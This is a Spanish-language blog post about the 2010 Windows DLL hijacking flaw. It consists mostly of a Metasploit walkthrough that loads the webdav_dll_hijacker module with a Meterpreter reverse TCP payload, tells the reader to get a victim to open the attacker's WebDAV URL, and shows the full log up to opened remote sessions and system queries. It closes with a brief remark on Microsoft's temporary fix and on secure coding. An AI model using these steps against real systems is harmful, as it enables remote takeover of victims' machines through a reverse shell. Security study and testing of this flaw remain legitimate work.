Aunque no es algo nuevo, últimamente se habla mucho sobre DLL Hijacking o suplantación de librerías DLL, gracias al reciente fallo de los sistemas Microsoft Windows que permite ejecutar código malicioso, colocando la dll a suplantar en la misma carpeta del programa ejecutable, descubierto hace poco por HD Moore y explicado a fondo en su articuloExploiting DLL Hijacking Flaws, también ha publicado un kit, para buscar aplicaciones que puedan ser vulnerables a este tipo de ataque DLLHijaAuditKit.
Abrimos metasplit
bash
rokitoh@red-orbita# msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set EXTENSIONS «grp p7c vcf wab»
EXTENSIONS => grp p7c vcf wab
msf exploit(webdav_dll_hijacker) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.111:4444
[*]
[*] Exploit links are now available at \192.168.1.111documents
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.111:80/Ahora desde la victima tendríamos que hacer que accediera a: http://192.168.1.111:80/
Una vez haya accedido…
text
[*] 192.168.1.111:42343 GET => REDIRECT (/)
[*] 192.168.1.111:42345 GET => DATA (/favicon.ico)
[*] 192.168.1.111:42349 OPTIONS /
[*] 192.168.1.111:42351 OPTIONS /documents
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:42351 PROPFIND /documents/desktop.ini
[*] 192.168.1.111:42351 PROPFIND => 404 (/documents/desktop.ini)
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND /documents/policy.p7c
[*] 192.168.1.111:42351 PROPFIND => 207 File (/documents/policy.p7c)
[*] 192.168.1.111:42351 PROPFIND /documents
[*] 192.168.1.111:42351 PROPFIND => 301 (/documents)
[*] 192.168.1.111:38257 PROPFIND /documents/policy.p7c
[*] 192.168.1.111:38257 PROPFIND => 207 File (/documents/policy.p7c)
[*] 192.168.1.111:38258 PROPFIND /documents/policy.p7c
[*] 192.168.1.111:38258 PROPFIND => 207 File (/documents/policy.p7c)
[*] 192.168.1.111:42351 PROPFIND /documents/
[*] 192.168.1.111:42351 PROPFIND => 207 Directory (/documents/)
[*] 192.168.1.111:42351 PROPFIND => 207 Top-Level Directory
[*] 192.168.1.111:38257 PROPFIND /documents/Thumbs.db
[*] 192.168.1.111:38257 PROPFIND => 207 File (/documents/Thumbs.db)
[*] 192.168.1.111:38258 LOCK => 404 (/documents/Thumbs.db)
[*] 192.168.1.111:42351 PROPFIND /documents/wab32res.dll
[*] 192.168.1.111:42351 PROPFIND => 207 File (/documents/wab32res.dll)
[*] 192.168.1.111:38257 GET => DLL Payload
[*] 192.168.1.111:38258 PROPFIND /documents/rundll32.exe
[*] 192.168.1.111:38258 PROPFIND => 404 (/documents/rundll32.exe)
[*] Sending stage (748544 bytes) to 192.168.1.111
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.111:60997) at 2010-09-06 13:15:13 +0200
[*] 192.168.1.111:42351 PROPFIND /documents/policy.vcf
[*] 192.168.1.111:42351 PROPFIND => 207 File (/documents/policy.vcf)
[*] 192.168.1.111:38257 GET => DATA (/documents/policy.vcf)
[*] Sending stage (748544 bytes) to 192.168.1.111
[*] Meterpreter session 2 opened (192.168.1.111:4444 -> 192.168.1.111:60998) at 2010-09-06 13:15:19 +0200
msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1…
meterpreter > getuid
Server username: red-orbita-Win7red-orbita
meterpreter >sysinfo
Computer: RED-ORBITA-WIN7
OS : Windows 7 (Build 7600, ).
Arch : x86
Language: es_ES
meterpreter>Microsoft ha publicado una solución temporal al fallo (catalogado como critico), pero la solución es que los desarrolladores empiecen a utilizar metodologías de desarrollo seguras, para evitar que sus aplicaciones sean vulnerables.
Fuentes:
http://blog.metasploit.com/
http://dragonjar.org
Comentarios